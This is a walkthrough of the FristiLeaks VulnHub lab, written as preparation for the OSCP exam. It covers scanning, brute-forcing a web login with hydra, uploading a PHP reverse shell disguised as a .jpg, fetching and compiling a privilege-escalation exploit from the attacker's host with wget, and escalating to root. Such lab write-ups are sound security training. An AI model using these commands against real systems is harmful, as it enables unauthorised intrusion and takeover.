This will be the first installment of a few VulnHub machines that I will be working on as I prepare for the OSCP exam. The ones that will be featured are recommendations for being similar to OSCP boxes.
Nmap -A -p- 172.16.2.14
Nikto -host http://172.16.2.14
root@kali:~# nmap -A -p- 172.16.2.14
Starting Nmap 7.50 ( https://nmap.org ) at 2017-07-07 21:54 EDT Nmap scan report for 172.16.2.14 Host is up (0.00031s latency). Not shown: 65534 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3) | http-methods: |_ Potentially risky methods: TRACE | http-robots.txt: 3 disallowed entries |_/cola /sisi /beer |_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3 |_http-title: Site doesn't have a title (text/html; charset=UTF-8). MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|WAP|storage-misc Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (93%), Ruckus embedded (87%), Drobo embedded (85%), Synology DiskStation Manager 5.X (85%) OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/h:ruckus:zoneflex_r710 cpe:/h:drobo:5n cpe:/a:synology:diskstation_manager:5.2 Aggressive OS guesses: Linux 2.6.32 - 3.10 (93%), Linux 2.6.32 - 3.13 (93%), Linux 2.6.39 (90%), Linux 2.6.32 - 3.5 (88%), Linux 3.2 - 3.16 (87%), Linux 3.2 - 3.8 (87%), Linux 2.6.32 (87%), Linux 3.10 - 4.8 (87%), Linux 3.2 - 4.8 (87%), Linux 3.10 (87%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.31 ms 172.16.2.14 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 167.09 seconds
root@kali:~# nikto -host http://172.16.2.14- Nikto v2.1.6---------------------------------------------------------------------------+ Target IP: 172.16.2.14+ Target Hostname: 172.16.2.14+ Target Port: 80+ Start Time: 2017-07-07 22:08:03 (GMT-4)---------------------------------------------------------------------------+ Server: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3+ Server leaks inodes via ETags, header found with file /, inode: 12722, size: 703, mtime: Tue Nov 17 13:45:47 2015 + The anti-clickjacking X-Frame-Options header is not present.+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + Entry '/cola/' in robots.txt returned a non-forbidden or redirect HTTP code (200)+ Entry '/sisi/' in robots.txt returned a non-forbidden or redirect HTTP code (200)+ Entry '/beer/' in robots.txt returned a non-forbidden or redirect HTTP code (200) + "robots.txt" contains 3 entries which should be manually viewed. + PHP/5.3.3 appears to be outdated (current is at least 5.6.9). PHP 5.5.25 and 5.4.41 are also current. + Apache/2.2.15 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST + OSVDB-3268: /icons/: Directory indexing found. + OSVDB-3268: /images/: Directory indexing found. + OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found. + OSVDB-3233: /icons/README: Apache default file found. + 8348 requests: 0 error(s) and 16 item(s) reported on remote host + End Time: 2017-07-07 22:08:30 (GMT-4) (27 seconds)---------------------------------------------------------------------------+ 1 host(s) tested
Sometimes, it is much easier to check servers that only have one or two ports open as you don’t get distracted by multiple ports and luckily this server only has the one port (TCP/80) open. Let’s check out the files/directories listed in robots.txt as these showed up in both the nmap and Nikto scans. This file provides a listing to crawlers of what directories they can or cannot scan. See http://www.robotstxt.org/robotstxt.html for more information on this file. Below are the manual checks to the various directories listed.
Moving on, we see a directory listing of images. And checking this directory we see the image on /beer, /sisi, and /cola.
After going back over the scans, I noticed a connection between beer and cola as different beverages (while writing this, I checked Google and Sisi is also a drink in the Netherlands). By putting in the URL http://172.16.2.14/fristi, we receive an admin login page.
Now that we have a login portal for the web application, let’s check the source to see if there is anything added or useful that gives us a clue to the application installed.
During this, I noticed that there was a section that was commented out and appears to go with the note at the top about the developer needing to do some cleanup.
Now we need to pull this base64 encoded image/text out to view the “hidden” message. I used the website https://codebeautify.org to decode this base-64 text to an image.
This does not seem to get us very far. I recorded all upper-case letters and lower-case letters as separate items and the entire string. These were manually tried as various passwords to log into the web application. Next, I ran cewl against the website and added keKkeKKeKKeKkEkkEk to the list as that was contained in the image.
Command: Cewl -w fristi.txt 172.16.2.14/fristi
This pulls down a list of about 200 “words” that it found from the website. Let’s pull the usernames from this list if there are any and add in standard easy ones, otherwise, this would give us 40,000 attempts to use all 200 names with all 200 passwords. From the list, we have eezeepz and leet as possible usernames which have been added to the top of the admin list with defaults like admin and root. This brings the total attempts to 1200. Unfortunately, I added keKkeKKeKKeKkEkkEk to the end of the password list instead of the top as this would have completed immediately. Despite this mistake, the total time to brute force it took only about 30 seconds.
Command: hydra -L fuser -P fristi.txt 172.16.2.14 http-post-form “/fristi/checklogin.php:myusername=^USER^&mypassword=^PASS^&Submit=Login:Wrong”
Let’s check to confirm that these credentials allow us to log in and were not a mistake in our parameters that we specified in Hydra. Success! This allows us to log in and appears to allow us to upload an image file.
Let’s test this by trying to upload HTML and a PHP file, but both file types fail.
Now, we know the file extension needs to end in either .png, .jpg, or .gif. Let’s go to /usr/share/webshells/php and copy one of the web shells to our desktop. Modify the contents to your host IP and a separate port. I prefer to use 443 as it is usually open on many workstations. Other good choices are 53 or 80 as these are commonly open. While here, let’s also modify the file extension to end in .jpg so we can upload it.
This allows us to upload the file.
Now we need to verify it uploads and that we can run the script to call back to our workstation. We have a few options for this by just checking the file or setting a null character after .php so the program runs the file instead of trying to display it as an image file. First, let’s check that the file exists on the web server.
This is a very good sign as this is fairly typical for remote PHP shells. We will start Netcat to listen on port 443 and refresh the page.
Command: nc -lvnp 443
Success! We now have a shell on this Linux server.
Once you have a Linux shell always try to escalate it to an interactive shell. You can test this with a simple “sudo ls”. This command will prompt you for credentials or will display an error message like “sudo: sorry, you must have a tty to run sudo”. See examples below. To bypass this issue, we need to issue a command to receive an interactive shell but this does not always work, so multiple oine line options are included in this link. You can also just run the command “tty” from the shell to show if you are in an interactive shell or not.
Command: python -c ‘import pty; pty.spawn(“/bin/sh”)’
Now with an interactive shell, let’s go over some basic Linux privilege escalation checks.
First, we will check the version and search exploit-db.com for privilege escalation exploits for the quick win. Unfortunately, the only experience that I have is with UDEV for a quick win but this does not seem to be vulnerable as Fristi is running Centos 6.7.
sh-4.1$ cat /etc/*-release cat /etc/*-release CentOS release 6.7 (Final) CentOS release 6.7 (Final) CentOS release 6.7 (Final) sh-4.1$ cat /proc/version cat /proc/version Linux version 2.6.32-573.8.1.el6.x86_64 (firstname.lastname@example.org) (gcc version 4.4.7 20120313 (Red Hat 4.4.7-16) (GCC) ) #1 SMP Tue Nov 10 18:01:38 UTC 2015 sh-4.1$ wget http://172.16.2.2/8572.c wget http://172.16.2.2/8572.c --2017-07-10 16:47:31-- http://172.16.2.2/8572.c Connecting to 172.16.2.2:80... connected. HTTP request sent, awaiting response... 200 OK Length: 2878 (2.8K) [text/x-csrc] Saving to: `8572.c' 100%[======================================>] 2,878 --.-K/s in 0s 2017-07-10 16:47:31 (129 MB/s) - `8572.c' saved [2878/2878] sh-4.1$ wget http://172.16.2.2/run wget http://172.16.2.2/run --2017-07-10 16:47:41-- http://172.16.2.2/run Connecting to 172.16.2.2:80... connected. HTTP request sent, awaiting response... 200 OK Length: 37 Saving to: `run' 100%[======================================>] 37 --.-K/s in 0s 2017-07-10 16:47:41 (6.94 MB/s) - `run' saved [37/37] sh-4.1$ gcc -o 8572 8572.c gcc -o 8572 8572.c sh-4.1$ chmod 755 8572 chmod 755 8572 sh-4.1$ ./8572 run ./8572 run
Now that we have mostly ruled out a few quick wins, let’s check for any interesting files. We find a file in “our” user directory which can be found by checking /etc/passwd.
Command: cat /etc/passwd
So, we will run the following to check for any good files.
Command: ls -ahl /home/eezeepz
A = Includes hidden files.
H = Includes filesize
L= List the files/directories
Let’s read the .txt files and we get the following which appears to let us run a limited number of commands as admin.
Now we can test running some commands by placing them into the file called “runthis” in /tmp/. So, we will place the following command into a new file called runthis in the directory of tmp. This will grant everyone full access to the directory /home/admin/. This happened a few attempts as I tried right for /etc/shadow to dump hashes or change eezeepz to root but these attempts did not work.
Command: echo “/home/admin/chmod 777 /home/admin” > /tmp/runthis
Now that we have access to admin (after one minute), we will use some previous commands to view all files in the directory and read the contents. Below we will find a python script that looks to use a Caesar cipher (rot13). The other two files contain the same string and might be encrypted.
Analyzing the code, we see that it is a simple function that takes a string (STR) and first encodes it with base64.
Next, it reverses the order of the characters so 12345 would become 54321. Then it encrypts the data with rot13. Let’s take the string =RFn0AKnlMHMPIzpyuTI0ITG and decrypt it with rot 13 to get =ESa0NXayZUZCVmclhGV0VGT.
Once we have this we know we need to reverse the order of the characters which yields TGV0VGhlcmVCZUZyaXN0aSE=. Finally, we can decode it from base64 to get LetThereBeFristi!
The other encrypted passphrase appears to be useless (for now).
Since we have an interactive shell, let’s try to use these credentials. The only other individual account on the system is Fristigod.
Command: su fristigod
Since we can now log in as fristigod, let’s check their home directory located at /var/fristigod. I also checked /home/fristigod but this was empty outside of a few hidden bash files that appeared to be the default. Inside the directory is why we always use the parameter “h” with ls as it shows a hidden directory.
Command: ls -ahl
Luckily for us, the doCom file is owned by root and runs as root. This could be helpful if we can figure out how to use it. I ran the following command to check what type of file as when I read the contents it gave me what appears to be an ELF binary (Linux executable).
Command: file doCom
This command confirms that it is an ELF binary but we don’t know how to run it. I remember seeing a .bash_history in the directory above us so we will read that to see if there are any helpful commands. Doing so, we see a few attempts at running this file in sudo. We will now try our own command to see if we can get the process to run and identify the user.
Command: sudo -u fristi ./doCom id
Success!!! We can now run commands as root. To finish up, we will run another shell to our workstation as root and dump the secret.